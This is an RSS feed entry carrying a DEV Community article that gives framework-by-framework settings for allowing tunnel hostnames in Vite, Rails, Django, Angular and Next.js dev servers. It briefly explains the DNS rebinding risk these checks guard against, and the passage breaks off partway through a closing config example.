<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: InstaTunnel</title>
    <description>The latest articles on DEV Community by InstaTunnel (@instatunnel).</description>
    <link>https://dev.to/instatunnel</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3795996%2Fb19f9bd7-1698-4edc-820f-0f7807ac54a8.png</url>
      <title>DEV Community: InstaTunnel</title>
      <link>https://dev.to/instatunnel</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/instatunnel"/>
    <language>en</language>
    <item>
      <title>“Blocked request. This host is not allowed”: The Host-Header Allowlist Cheat Sheet for Vite, Rails, Django, Angular</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Sat, 07 Nov 2026 01:42:42 +0000</pubDate>
      <link>https://dev.to/instatunnel/blocked-request-this-host-is-not-allowed-the-host-header-allowlist-cheat-sheet-for-vite-rails-3j0e</link>
      <guid>https://dev.to/instatunnel/blocked-request-this-host-is-not-allowed-the-host-header-allowlist-cheat-sheet-for-vite-rails-3j0e</guid>
      <description>&lt;p&gt;You start a tunnel, paste the public URL into a browser, and instead of your app you get a flat error. In a Vite project it reads &lt;code&gt;Blocked request. This host ("your-name.tunnel.example.com") is not allowed.&lt;/code&gt; In Rails you get a 403 Forbidden response. In Django it is a 400 Bad Request. In Angular’s dev server it is the Vite message again. In Next.js your page may load, but dev-only requests under &lt;code&gt;/_next/*&lt;/code&gt; get blocked.&lt;/p&gt;

&lt;p&gt;None of this is a tunnel bug. Your dev server received a request for a hostname it has never heard of, and it refused to answer. This guide is a per-framework cheat sheet: the exact setting, what it accepts, what the default is, and how to configure it safely. It also explains why a &lt;strong&gt;stable tunnel subdomain&lt;/strong&gt; turns this from a recurring annoyance into a one-time config line.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why dev servers check the Host header at all
&lt;/h2&gt;

&lt;p&gt;Every HTTP request carries a &lt;code&gt;Host&lt;/code&gt; header naming the site the browser thinks it is talking to. Historically, many dev servers ignored it. That became a problem because of DNS rebinding. A hostile web page loads from an attacker-controlled domain, the attacker’s DNS then starts answering with &lt;code&gt;127.0.0.1&lt;/code&gt;, and the browser now treats your local server as part of the attacker’s origin. The attacker’s page can read whatever your dev server returns, including source code.&lt;/p&gt;

&lt;p&gt;Checking the &lt;code&gt;Host&lt;/code&gt; header against an allowlist closes that door, because the attacker’s domain is not on the list. Rails describes its middleware as a guard against DNS rebinding. Vite’s documentation says that leaving its check wide open lets any website download your source code and content through DNS rebinding.&lt;/p&gt;

&lt;p&gt;The cost is that a legitimate tunnel hostname is also “unknown” until you list it.&lt;/p&gt;

&lt;p&gt;One Vite-specific detail matters for tunnels. Vite’s host check is skipped when the dev server itself serves HTTPS. Many tunnels terminate TLS at their edge and forward plain HTTP to your machine, and in that setup the check still applies.&lt;/p&gt;

&lt;h2&gt;
  
  
  Quick diagnosis: which layer is rejecting you?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Framework&lt;/th&gt;
&lt;th&gt;Setting&lt;/th&gt;
&lt;th&gt;What you see&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vite&lt;/td&gt;
&lt;td&gt;&lt;code&gt;server.allowedHosts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;403 with &lt;code&gt;Blocked request. This host (...) is not allowed.&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rails&lt;/td&gt;
&lt;td&gt;&lt;code&gt;config.hosts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;403 Forbidden; a debug page in development, an empty body otherwise; a &lt;code&gt;Blocked hosts:&lt;/code&gt; line in the log&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Django&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ALLOWED_HOSTS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;DisallowedHost&lt;/code&gt; (a &lt;code&gt;SuspiciousOperation&lt;/code&gt;), returned as 400 Bad Request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Angular (dev server)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;allowedHosts&lt;/code&gt; in &lt;code&gt;angular.json&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;The same Vite message&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Next.js&lt;/td&gt;
&lt;td&gt;&lt;code&gt;allowedDevOrigins&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Page may render, but dev resources such as &lt;code&gt;/_next/webpack-hmr&lt;/code&gt; are blocked, with a &lt;code&gt;Blocked cross-origin request to Next.js dev resource&lt;/code&gt; warning in the terminal&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A useful rule: if the error text names the host and tells you what to add, the request reached your framework and the tunnel is working. You are fixing configuration, not networking.&lt;/p&gt;

&lt;h2&gt;
  
  
  Wildcard semantics at a glance
&lt;/h2&gt;

&lt;p&gt;The frameworks disagree about what a “wildcard” means, and that is where most surprises come from.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Framework&lt;/th&gt;
&lt;th&gt;Syntax&lt;/th&gt;
&lt;th&gt;Matches the bare domain?&lt;/th&gt;
&lt;th&gt;Matches nested subdomains?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vite&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes (any depth, per the docs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rails&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;One label in current source; older releases were looser&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Django&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes (“any other subdomain”)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Next.js&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No (exactly one label)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Next.js&lt;/td&gt;
&lt;td&gt;&lt;code&gt;**.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (one or more labels)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Angular dev server&lt;/td&gt;
&lt;td&gt;same as Vite&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Whichever you use, test a real tunnel hostname before assuming a pattern works.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vite: &lt;code&gt;server.allowedHosts&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Vite documents &lt;code&gt;server.allowedHosts&lt;/code&gt; as &lt;code&gt;string[] | true&lt;/code&gt;, defaulting to &lt;code&gt;[]&lt;/code&gt;. Out of the box it accepts &lt;code&gt;localhost&lt;/code&gt;, any domain under &lt;code&gt;.localhost&lt;/code&gt;, and all IP addresses. Everything else gets a 403.&lt;/p&gt;

&lt;p&gt;The check arrived with the fix for advisory GHSA-vg6x-rcgg-rjx6 (CVE-2025-24010). The 6.0.9 changelog lists a Host-header check that introduced &lt;code&gt;server.allowedHosts&lt;/code&gt;. The advisory’s fixed versions are 6.0.9, 5.4.12 and 4.5.6. That is why upgrades often trigger the error on setups that worked for months.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// vite.config.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;defineConfig&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;vite&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nf"&gt;defineConfig&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;allowedHosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;my-app.tunnel.example.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few details worth knowing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Leading dot.&lt;/strong&gt; A string starting with &lt;code&gt;.&lt;/code&gt; allows that hostname without the dot plus all its subdomains. Per the docs, &lt;code&gt;.example.com&lt;/code&gt; covers &lt;code&gt;example.com&lt;/code&gt;, &lt;code&gt;foo.example.com&lt;/code&gt; and &lt;code&gt;foo.bar.example.com&lt;/code&gt;. Only do this for a domain you own.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never add a top-level domain&lt;/strong&gt; such as &lt;code&gt;.com&lt;/code&gt;. The docs warn that anyone can register a domain and control where it resolves.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Environment variable.&lt;/strong&gt; Setting &lt;code&gt;__VITE_ADDITIONAL_SERVER_ALLOWED_HOSTS&lt;/code&gt; adds hosts without touching the config file. Separate several hosts with commas. This is handy in CI, or in a shared repo where you do not want a personal tunnel name committed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;vite preview&lt;/code&gt; is separate.&lt;/strong&gt; The preview server has its own &lt;code&gt;preview.allowedHosts&lt;/code&gt;. It defaults to the value of &lt;code&gt;server.allowedHosts&lt;/code&gt;, so set it explicitly only if the two should differ. Read the error text to see which block it points at.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Related setting: &lt;code&gt;server.cors&lt;/code&gt;.&lt;/strong&gt; The same advisory changed Vite’s CORS handling. The default now allows only localhost-style origins, and the docs warn that &lt;code&gt;server.cors: true&lt;/code&gt; lets any website download your source.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Frameworks built on Vite.&lt;/strong&gt; Nuxt takes the option under &lt;code&gt;vite.server.allowedHosts&lt;/code&gt; in &lt;code&gt;nuxt.config.ts&lt;/code&gt;. Strapi 5’s admin panel runs on Vite too. Strapi’s own write-up says its development config now sets &lt;code&gt;allowedHosts: true&lt;/code&gt; internally, so on a current release upgrading Strapi may be the whole fix. If you see “edit vite.config.js” but have no such file, look for a &lt;code&gt;vite&lt;/code&gt; key in your framework’s config.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;If the page loads but hot reload is broken.&lt;/strong&gt; Allowing the host fixes the initial load, but hot module replacement uses a WebSocket. Tunnels that rewrite ports can break it, and Strapi’s guide flags this for ngrok, Cloudflare Tunnel and VS Code port forwards. Vite’s docs list the WebSocket settings under &lt;code&gt;server.ws&lt;/code&gt;, including &lt;code&gt;clientPort&lt;/code&gt;, which overrides the port the browser connects to. In current docs the older &lt;code&gt;server.hmr&lt;/code&gt; WebSocket options are marked deprecated in favor of &lt;code&gt;server.ws&lt;/code&gt;. On older Vite versions you will still find them under &lt;code&gt;server.hmr&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The shortcut you will find on forums is &lt;code&gt;allowedHosts: true&lt;/code&gt;. We will come back to why it is a bad default.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rails: &lt;code&gt;config.hosts&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Rails calls this Host Authorization, implemented by &lt;code&gt;ActionDispatch::HostAuthorization&lt;/code&gt;. In development the default allowlist is &lt;code&gt;.localhost&lt;/code&gt;, &lt;code&gt;.test&lt;/code&gt;, and every IPv4 and IPv6 address. In other environments &lt;code&gt;config.hosts&lt;/code&gt; is empty by default. When it is empty the middleware does nothing, so the check only bites in development or once you have configured hosts yourself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# config/environments/development.rb&lt;/span&gt;
&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s2"&gt;"my-app.tunnel.example.com"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What the source tells you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Strings&lt;/strong&gt; match the host with an optional port. A string starting with a dot (such as &lt;code&gt;.example.com&lt;/code&gt;) matches the apex domain plus a subdomain. In current source that is one optional label (&lt;code&gt;[a-z0-9-]+\.&lt;/code&gt;), so test nested names like &lt;code&gt;a.b.example.com&lt;/code&gt; before assuming they pass. Older releases used a looser pattern, so behavior can differ between Rails versions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regexes, IP ranges and lambdas&lt;/strong&gt; are accepted. Entries are compared with &lt;code&gt;===&lt;/code&gt;, so a lambda gives you dynamic checks. Strings and regexes get the port and leading-dot handling, and a lambda does not.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;X-Forwarded-Host&lt;/code&gt; is checked too.&lt;/strong&gt; The middleware blocks a request if either &lt;code&gt;Host&lt;/code&gt; or the last &lt;code&gt;X-Forwarded-Host&lt;/code&gt; value is not permitted, which matters when a proxy sits in front.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Opting out per route.&lt;/strong&gt; &lt;code&gt;config.host_authorization = { exclude: -&amp;gt;(request) { request.path =~ /healthcheck/ } }&lt;/code&gt; skips the check for matching requests, such as load-balancer health probes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The response&lt;/strong&gt; is &lt;code&gt;403 Forbidden&lt;/code&gt;, and the blocked hosts are logged at &lt;code&gt;error&lt;/code&gt; level. The body contains debug info only if &lt;code&gt;config.consider_all_requests_local&lt;/code&gt; is true. Otherwise it is empty, which can make production blocks look like a mystery.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep Rails patched.&lt;/strong&gt; Leading-dot entries combined with crafted &lt;code&gt;X-Forwarded-Host&lt;/code&gt; headers were the subject of past advisories, including CVE-2021-22881.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because an empty &lt;code&gt;config.hosts&lt;/code&gt; disables the check, &lt;code&gt;config.hosts.clear&lt;/code&gt; is the Rails equivalent of Vite’s &lt;code&gt;true&lt;/code&gt;. Treat it the same way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Django: &lt;code&gt;ALLOWED_HOSTS&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Django introduced &lt;code&gt;ALLOWED_HOSTS&lt;/code&gt; in 1.4.4 (February 19, 2013) as a security fix for Host header poisoning. In 1.4.4 the default was &lt;code&gt;['*']&lt;/code&gt; for backwards compatibility. Today the default is an empty list.&lt;/p&gt;

&lt;p&gt;With &lt;code&gt;DEBUG = False&lt;/code&gt;, an empty list makes every request fail with Bad Request (400). With &lt;code&gt;DEBUG = True&lt;/code&gt; and an empty list, current docs say the host is validated against &lt;code&gt;['.localhost', '127.0.0.1', '[::1]']&lt;/code&gt;, so a tunnel hostname fails even in debug mode.&lt;/p&gt;

&lt;p&gt;That debug behavior has its own history. Older versions skipped the check under &lt;code&gt;DEBUG=True&lt;/code&gt;, which allowed DNS rebinding attacks (CVE-2016-9014). Django fixed it in 1.10.3, 1.9.11 and 1.8.16.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# settings.py
&lt;/span&gt;&lt;span class="n"&gt;ALLOWED_HOSTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;my-app.tunnel.example.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Exact matching.&lt;/strong&gt; Names are compared to the &lt;code&gt;Host&lt;/code&gt; header case-insensitively and without the port. A trailing dot (FQDN form) is stripped before comparison.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Leading period as wildcard.&lt;/strong&gt; &lt;code&gt;.example.com&lt;/code&gt; matches &lt;code&gt;example.com&lt;/code&gt;, &lt;code&gt;www.example.com&lt;/code&gt; and any other subdomain. The docs describe only two wildcard forms, the leading period and a bare &lt;code&gt;*&lt;/code&gt; (match everything). They do not document &lt;code&gt;*.example.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;USE_X_FORWARDED_HOST&lt;/code&gt;.&lt;/strong&gt; If enabled, Django validates &lt;code&gt;X-Forwarded-Host&lt;/code&gt; instead of &lt;code&gt;Host&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bypass warning.&lt;/strong&gt; Validation happens in &lt;code&gt;get_host()&lt;/code&gt;. Code that reads the header from &lt;code&gt;request.META&lt;/code&gt; directly skips it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One adjacent gotcha: once the page loads through the tunnel, form posts can still fail Django’s CSRF origin check. The browser’s &lt;code&gt;Origin&lt;/code&gt; is the tunnel’s &lt;code&gt;https://&lt;/code&gt; URL, and Django must agree. Add the full origin, scheme included, to &lt;code&gt;CSRF_TRUSTED_ORIGINS&lt;/code&gt;. That setting supports subdomain wildcards like &lt;code&gt;https://*.example.com&lt;/code&gt;. If your tunnel forwards plain HTTP, also check whether &lt;code&gt;SECURE_PROXY_SSL_HEADER&lt;/code&gt; is appropriate. Set it only when the proxy reliably controls the &lt;code&gt;X-Forwarded-Proto&lt;/code&gt; header.&lt;/p&gt;

&lt;h2&gt;
  
  
  Angular: &lt;code&gt;allowedHosts&lt;/code&gt; in &lt;code&gt;angular.json&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Angular’s modern dev server runs on Vite, so you get Vite’s error, but there is no &lt;code&gt;vite.config.js&lt;/code&gt; to edit. The Angular CLI added a dev-server &lt;code&gt;allowedHosts&lt;/code&gt; option (pull request #29466, January 2025) after moving to Vite 6.0.9 or later. The CLI docs describe it as the hosts the dev server will respond to, and say it sets the Vite option of the same name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"serve"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"builder"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"@angular/build:dev-server"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"options"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"allowedHosts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"my-app.tunnel.example.com"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The webpack-based builder (&lt;code&gt;@angular-devkit/build-angular:dev-server&lt;/code&gt;) takes the same option in the same place. The CLI’s own tests confirm three behaviors: a listed host passes, &lt;code&gt;true&lt;/code&gt; allows any host, and an empty array rejects unknown hosts. The CLI also exposes the setting as &lt;code&gt;--allowed-hosts&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Angular has a second, unrelated host check, and it is easy to confuse with the first. Server-side rendering validates the request hostname as an SSRF defense, and its messages do not use the Vite wording:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Host http://localhost:4200/ is not allowed. You can configure allowedHosts option.&lt;/code&gt; Developers reported this on &lt;code&gt;ng serve&lt;/code&gt; for SSR projects after patch release 19.2.22 (issue #33184).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;URL with hostname "..." is not allowed. Please provide a list of allowed hosts in the "allowedHosts" option in the "CommonEngine" constructor.&lt;/code&gt; Developers reported this after &lt;code&gt;@angular/ssr&lt;/code&gt; 21.1.5. They saw it behind a load balancer, where the validator saw an internal IP address instead of the public name (issue #32616).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For SSR, &lt;code&gt;allowedHosts&lt;/code&gt; can be set in the &lt;code&gt;CommonEngine&lt;/code&gt; constructor, in build options in &lt;code&gt;angular.json&lt;/code&gt;, or through the &lt;code&gt;NG_ALLOWED_HOSTS&lt;/code&gt; environment variable. Reporters used the environment variable to resolve the &lt;code&gt;localhost&lt;/code&gt; case. One reporter noted that the option accepts exact hostnames or a wildcard prefix such as &lt;code&gt;*.domain&lt;/code&gt;, not arbitrary patterns. If your error text differs from the Vite sentence, you are in this second layer, and editing &lt;code&gt;serve.options&lt;/code&gt; will not fix it.&lt;/p&gt;

&lt;p&gt;The SSR allowlist has itself been patched. CVE-2026-50168 (GHSA-xrxm-cp7j-8xf6) is an allowlist bypass in &lt;code&gt;@angular/platform-server&lt;/code&gt;, fixed in 22.0.0-rc.2, 21.2.15, 20.3.22 and 19.2.23. If you rely on SSR host validation, stay on a patched release.&lt;/p&gt;

&lt;h2&gt;
  
  
  Next.js: &lt;code&gt;allowedDevOrigins&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Next.js differs in an important way: it is not a &lt;code&gt;Host&lt;/code&gt; header allowlist. It blocks &lt;strong&gt;cross-origin requests to dev-only assets and endpoints&lt;/strong&gt;. It matches only the hostname of the request’s &lt;code&gt;Origin&lt;/code&gt; header, falling back to the &lt;code&gt;Referer&lt;/code&gt; hostname for no-cors requests such as script tags. Scheme, port and path are ignored, so write entries without &lt;code&gt;https://&lt;/code&gt; and without a port.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// next.config.js&lt;/span&gt;
&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;allowedDevOrigins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;my-app.tunnel.example.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The dev server already allows &lt;code&gt;localhost&lt;/code&gt;, its subdomains, and the hostname it was started with. Any other hostname needs an entry. The official docs use a tunnel as their example of a hostname that needs one.&lt;/p&gt;

&lt;p&gt;Wildcards are stricter than you might expect:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Entry&lt;/th&gt;
&lt;th&gt;Matches&lt;/th&gt;
&lt;th&gt;Does not match&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;my.dev&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;my.dev&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;team.my.dev&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.my.dev&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;team.my.dev&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;my.dev&lt;/code&gt;, &lt;code&gt;team.eu.my.dev&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;**.my.dev&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;team.my.dev&lt;/code&gt;, &lt;code&gt;team.eu.my.dev&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;my.dev&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;*&lt;/code&gt; stands for exactly one label and &lt;code&gt;**&lt;/code&gt; for one or more. &lt;code&gt;**&lt;/code&gt; works only at the start of a pattern, and partial replacement like &lt;code&gt;team-*.my.dev&lt;/code&gt; is not supported. Because neither wildcard matches the bare domain, list the apex separately if you need it.&lt;/p&gt;

&lt;p&gt;The option has a short history that explains why older posts disagree. It arrived with the security fix for CVE-2025-48068 in Next.js 15.2.2 and 14.2.30. The advisory describes the fix as an opt-in that requires you to configure &lt;code&gt;allowedDevOrigins&lt;/code&gt;, and early versions only warned. A change merged in March 2026 (pull request #91507) removed the warn-only default and made blocking the default, and the current docs describe it that way. If you are on an older release, your version’s docs apply.&lt;/p&gt;

&lt;p&gt;If your page renders through a tunnel but interactive behavior breaks, and the terminal shows a &lt;code&gt;Blocked cross-origin request to Next.js dev resource&lt;/code&gt; warning, this is your setting. Keep Next.js patched too. CVE-2026-27977 let &lt;code&gt;Origin: null&lt;/code&gt; bypass the websocket origin protection in &lt;code&gt;next dev&lt;/code&gt; from 16.0.1 until the fix in 16.1.7, even when &lt;code&gt;allowedDevOrigins&lt;/code&gt; was configured.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a stable subdomain means you configure it once
&lt;/h2&gt;

&lt;p&gt;Allowlists are exact by design, so the real cost depends on how often your public hostname changes.&lt;/p&gt;

&lt;p&gt;With a throwaway tunnel that hands out a random hostname on every start, you edit the allowlist every session. Each edit is also a config file change that can land in a commit, and every teammate has a different name. That fatigue is how &lt;code&gt;allowedHosts: true&lt;/code&gt; ends up in repositories.&lt;/p&gt;

&lt;p&gt;With a &lt;strong&gt;reserved, stable subdomain&lt;/strong&gt;, the hostname is known before you ever start the tunnel. You add &lt;code&gt;my-app.tunnel.example.com&lt;/code&gt; to the allowlist once, commit it, and every teammate, every CI run and every webhook provider points at the same name. The error you started this article with simply stops happening. The same stability helps everything else keyed to the hostname: OAuth redirect URIs, webhook endpoints, CSRF trusted origins and saved bookmarks.&lt;/p&gt;

&lt;p&gt;If a hostname is personal rather than shared, keep it out of the repo and read it from an environment variable instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// vite.config.js&lt;/span&gt;
&lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
